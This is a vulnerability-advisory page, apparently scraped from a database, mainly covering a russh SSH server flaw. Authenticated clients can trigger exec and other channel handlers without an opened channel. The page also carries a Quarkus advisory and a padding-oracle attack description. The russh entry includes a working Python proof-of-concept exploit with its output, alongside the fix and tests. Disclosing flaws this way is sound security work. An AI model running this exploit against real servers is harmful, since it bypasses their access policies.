CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST
For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.
The channel-open path should also retain application-side channel references only when the open is approved:
let mut result = handler.channel_open_session(channel, self).await;
if let Ok(allowed) = &mut result {
if *allowed {
self.channels.insert(sender_channel, reference);
}
self.finalize_channel_open(&msg, channel_params, *allowed)?;
}
Regression coverage
A regression test should authenticate normally, then verify that callbacks are not reached in these cases:
1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN
The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.
A positive control should confirm that a normally opened session channel still reaches the expected callbacks.
In the local validation, the targeted regression passed after the patch:
cargo test -p russh --test channel_state_validation
The full workspace also passed:
cargo test --workspace
Duplicate check
I checked existing Eugeny/russh advisories and issue searches for terms related to:
CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler
Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.4"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68930"
],
"database_specific": {
"cwe_ids": [
"CWE-666",
"CWE-696",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T15:35:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "There is a server-side channel state issue in `russh`.\n\nAfter a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a range of recipient channel IDs. `russh` still calls the server application\u0027s `exec_request` handler.\n\nThis is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.\n\n## Impact\n\nAn authenticated client can bypass the server application\u0027s channel-open policy.\n\nA server may deny session channels by returning `false` from `Handler::channel_open_session`. A server may also assume that callbacks such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` are only delivered for channels that were opened and confirmed by the SSH transport layer.\n\nThat assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.\n\nThe exact impact depends on the downstream application. For many SSH server use cases, `exec_request`, `shell_request`, or `subsystem_request` start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected `exec_request` action runs even though no channel was opened.\n\n## Why this is not intended behavior\n\nSSH channel requests are not global post-authentication requests. They are operations on an existing channel.\n\nRFC 4254 describes channel-specific messages as carrying a recipient channel number. The `exec` request is a `SSH_MSG_CHANNEL_REQUEST` for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.\n\nThe relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, `russh` should not deliver session-specific callbacks for that recipient ID.\n\nThis is also not just a handler bug. The handler does not own the transport channel table. `russh` does. The application gets a `channel_open_*` callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.\n\n## Documentation and API boundary\n\nThe public API documentation supports this boundary.\n\n`channel_open_session` is the application hook for creating a new session channel, and its boolean return value is the application\u0027s decision on whether that channel open should be granted. Separately, `exec_request` is the application hook for deciding what to do with a command request received on a channel.\n\nThose are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.\n\nDelivering `exec_request` for a recipient `ChannelId` that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.\n\n## Root cause\n\nIn `server_read_authenticated` in `russh/src/server/encrypted.rs`, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session\u0027s channel table.\n\nThe problematic pattern is visible in the `CHANNEL_REQUEST` handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal `ChannelMsg` into the stream API, but the handler callback is outside that guard.\n\nFor example, the `exec` branch has this shape:\n\n```rust\n\"exec\" =\u003e {\n let req = map_err!(Bytes::decode(r))?;\n map_err!(ensure_end(r))?;\n\n if let Some(chan) = self.channels.get(\u0026channel_num) {\n let _ = chan\n .send(ChannelMsg::Exec {\n want_reply: true,\n command: req.to_vec(),\n })\n .await;\n }\n\n handler.exec_request(channel_num, \u0026req, self).await\n}\n```\n\nIf `channel_num` is not open, the internal send is skipped, but `handler.exec_request(...)` is still called.\n\nThe same issue applies to other channel-scoped callbacks such as `shell_request`, `subsystem_request`, `env_request`, `pty_request`, `data`, `extended_data`, `channel_eof`, and `channel_close`.\n\nThere is a second related problem in `server_handle_channel_open`. The application-side channel reference can be inserted into `self.channels` even when the handler returns `Ok(false)`. The protocol table `enc.channels` is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.\n\nThe authoritative source for whether a channel is established should be `enc.channels`, not `self.channels`.\n\n## Evidence from the PoC\n\nThe PoC uses a real `russh` server over localhost TCP. It uses real authentication with username `alice` and password `correct`. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.\n\nPOC Code :\n\n```python\nimport argparse\nimport sys\nimport time\n\nimport paramiko\nfrom paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST\nfrom paramiko.message import Message\nfrom paramiko.ssh_exception import ChannelException\n\nCHANNEL_SCAN_END = 32\n\n\ndef connect(port: int) -\u003e paramiko.Transport:\n transport = paramiko.Transport((\"127.0.0.1\", port))\n transport.connect(username=\"alice\", password=\"correct\")\n return transport\n\n\ndef normal_allowed(port: int) -\u003e None:\n transport = connect(port)\n print(\"normal client: CHANNEL_OPEN session\")\n channel = transport.open_session(timeout=5)\n print(\"normal client: session open confirmed\")\n print(\u0027normal client: exec \"protected\"\u0027)\n channel.exec_command(\"protected\")\n time.sleep(0.25)\n channel.close()\n transport.close()\n\n\ndef normal_denied(port: int) -\u003e None:\n transport = connect(port)\n print(\"normal client: CHANNEL_OPEN session\")\n try:\n transport.open_session(timeout=5)\n except ChannelException:\n print(\"normal client: session open denied\")\n pass\n else:\n raise RuntimeError(\"normal denied control unexpectedly opened a session channel\")\n time.sleep(0.25)\n transport.close()\n\n\ndef send_exec_request(transport: paramiko.Transport, recipient_channel: int) -\u003e None:\n print(\n \"crafted packet: \"\n f\"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) \"\n f\"recipient_channel={recipient_channel} \"\n \u0027request_type=\"exec\" \u0027\n \u0027command=\"protected\"\u0027\n )\n msg = Message()\n msg.add_byte(cMSG_CHANNEL_REQUEST)\n msg.add_int(recipient_channel)\n msg.add_string(\"exec\")\n msg.add_boolean(True)\n msg.add_string(b\"protected\")\n transport._send_user_message(msg)\n\n\ndef exploit_denied(port: int) -\u003e None:\n transport = connect(port)\n print(\"malicious peer: CHANNEL_OPEN session\")\n try:\n transport.open_session(timeout=5)\n except ChannelException:\n print(\"malicious peer: session open denied\")\n else:\n raise RuntimeError(\"exploit setup unexpectedly opened a session channel\")\n\n print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n for channel_id in range(CHANNEL_SCAN_END):\n send_exec_request(transport, channel_id)\n time.sleep(0.01)\n time.sleep(0.5)\n transport.close()\n\n\ndef exploit_without_open(port: int) -\u003e None:\n transport = connect(port)\n print(\"malicious peer: no CHANNEL_OPEN sent\")\n print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n for channel_id in range(CHANNEL_SCAN_END):\n send_exec_request(transport, channel_id)\n time.sleep(0.01)\n time.sleep(0.5)\n transport.close()\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--mode\",\n choices=[\"allowed\", \"denied\", \"denied-open\", \"noopen\"],\n required=True,\n )\n parser.add_argument(\"--port\", type=int, required=True)\n args = parser.parse_args()\n\n if args.mode == \"allowed\":\n normal_allowed(args.port)\n elif args.mode == \"denied\":\n normal_denied(args.port)\n elif args.mode == \"noopen\":\n exploit_without_open(args.port)\n else:\n exploit_denied(args.port)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\nThe crafted packet form is:\n\n```text\nSSH_MSG_CHANNEL_REQUEST(98)\nrecipient_channel = N\nrequest_type = \"exec\"\ncommand = \"protected\"\n```\n\nThe PoC runs normal controls and exploit cases in one execution.\n\n### Allowed control\n\nThis proves the protected action works normally when a session channel is opened.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open confirmed\nnormal client: exec \"protected\"\n\nchannel_open_session called: 1\nexec_request called: 1\nprotected action executed: 1\nchannel ever opened/confirmed: true\nworking recipient channel ids: [2]\n```\n\n### Denied control\n\nThis proves the application policy denies session channels and a normal client cannot reach the protected action.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open denied\n\nchannel_open_session called: 1\nexec_request called: 0\nprotected action executed: 0\nchannel ever opened/confirmed: false\nworking recipient channel ids: none\n```\n\n### Main exploit: no channel open\n\nThis is the main issue.\n\nThe authenticated client does not send `SSH_MSG_CHANNEL_OPEN`. It sends crafted `SSH_MSG_CHANNEL_REQUEST` packets for recipient IDs `0..31`.\n\n```text\nmalicious peer: no CHANNEL_OPEN sent\nmalicious peer: scanning recipient channel ids 0..31\n\nchannel_open_session called: 0\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThis removes the \"guessed channel ID\" concern. Every scanned recipient ID reached the protected action in the vulnerable run.\n\n### Additional variant: denied open\n\nThe client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.\n\n```text\nmalicious peer: CHANNEL_OPEN session\nmalicious peer: session open denied\n\nchannel_open_session called: 1\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThe denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.\n\n## Affected code path\n\nVerified at:\n\n```text\nf1a0f180a02ccedf48d86f2c5e0361308cf6b7c6\nv0.61.1-9-gf1a0f18\n```\n\nThe affected logic is in:\n\n```text\nrussh/src/server/encrypted.rs\n```\n\nThe vulnerable area is:\n\n```text\nserver_read_authenticated\n```\n\nChannel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in `enc.channels`.\n\nThe affected request callbacks include:\n\n```text\npty_request\nx11_request\nenv_request\nshell_request\nagent_request\nexec_request\nsubsystem_request\nwindow_change_request\nsignal\n```\n\nThe same missing established-channel guard affects:\n\n```text\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\n```\n\nA related issue exists in:\n\n```text\nserver_handle_channel_open\n```\nApplication channel references should not be retained for denied opens.\n\n## Why this belongs in russh\n\nThe application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time `exec_request` is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.\n\nThis is the same kind of invariant `russh` already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.\n\nThe safe expectation is simple:\n\n```text\nNo established channel, no channel-scoped handler callback.\n```\n\n## Suggested fix\n\nBefore dispatching any channel-scoped callback, require the recipient `ChannelId` to exist in the encrypted session\u0027s established channel table and to be confirmed.\n\nThe authoritative check should use `enc.channels`, not `self.channels`.\n\nA minimal approach is to add a helper like:\n\n```rust\nfn ensure_established_channel(\u0026self, channel: ChannelId) -\u003e Result\u003c(), Error\u003e {\n if self\n .common\n .encrypted\n .as_ref()\n .and_then(|enc| enc.channels.get(\u0026channel))\n .is_some_and(|channel| channel.confirmed)\n {\n Ok(())\n } else {\n Err(Error::Inconsistent)\n }\n}\n```\n\nThen call it before dispatching channel-scoped callbacks for:\n\n```text\nCHANNEL_REQUEST\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\nCHANNEL_WINDOW_ADJUST\n```\n\nFor unknown or unconfirmed channels, `russh` should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.\n\nThe channel-open path should also retain application-side channel references only when the open is approved:\n\n```rust\nlet mut result = handler.channel_open_session(channel, self).await;\n\nif let Ok(allowed) = \u0026mut result {\n if *allowed {\n self.channels.insert(sender_channel, reference);\n }\n\n self.finalize_channel_open(\u0026msg, channel_params, *allowed)?;\n}\n```\n\n## Regression coverage\n\nA regression test should authenticate normally, then verify that callbacks are not reached in these cases:\n\n```text\n1. CHANNEL_REQUEST \"exec\" without prior CHANNEL_OPEN\n2. CHANNEL_OPEN \"session\" denied by the handler, then CHANNEL_REQUEST \"exec\"\n3. CHANNEL_DATA without prior CHANNEL_OPEN\n4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN\n```\n\nThe test should fail if any channel-scoped callback such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` is invoked for a non-established channel.\n\nA positive control should confirm that a normally opened session channel still reaches the expected callbacks.\n\nIn the local validation, the targeted regression passed after the patch:\n\n```text\ncargo test -p russh --test channel_state_validation\n```\n\nThe full workspace also passed:\n\n```text\ncargo test --workspace\n```\n## Duplicate check\n\nI checked existing `Eugeny/russh` advisories and issue searches for terms related to:\n\n```text\nCHANNEL_REQUEST\nexec_request\nchannel_open_session denied\nunopened channel\nserver_handle_channel_open\nchannel request handler\n```\n\nExisting advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.",
"id": "GHSA-m65r-rprj-r5rg",
"modified": "2026-08-03T15:35:00Z",
"published": "2026-08-03T15:35:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/7c5659f8cf6f6f2f9989d12dba0ebf49dc50a171"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Russh: Channel-scoped server callbacks can be reached without an open channel"
}
GHSA-MVC8-6FFP-JRX5
Vulnerability from github – Published: 2023-12-09 03:30 – Updated: 2024-08-02 15:31A flaw was found in Quarkus. This issue occurs when receiving a request over websocket with no role-based permission specified on the GraphQL operation, Quarkus processes the request without authentication despite the endpoint being secured. This can allow an attacker to access information and functionality outside of normal granted API permissions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-smallrye-graphql-client"
},
"ranges": [
{
"events": [
{
"introduced": "2.14.0"
},
{
"fixed": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-smallrye-graphql-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.9.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6394"
],
"database_specific": {
"cwe_ids": [
"CWE-551",
"CWE-696",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-12T00:50:32Z",
"nvd_published_at": "2023-12-09T02:15:06Z",
"severity": "HIGH"
},
"details": "A flaw was found in Quarkus. This issue occurs when receiving a request over websocket with no role-based permission specified on the GraphQL operation, Quarkus processes the request without authentication despite the endpoint being secured. This can allow an attacker to access information and functionality outside of normal granted API permissions.",
"id": "GHSA-mvc8-6ffp-jrx5",
"modified": "2024-08-02T15:31:16Z",
"published": "2023-12-09T03:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6394"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/pull/36961"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7612"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6394"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2252197"
},
{
"type": "PACKAGE",
"url": "https://github.com/quarkusio/quarkus"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/releases/tag/2.13.9.Final"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/releases/tag/3.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authorization bypass in Quarkus"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.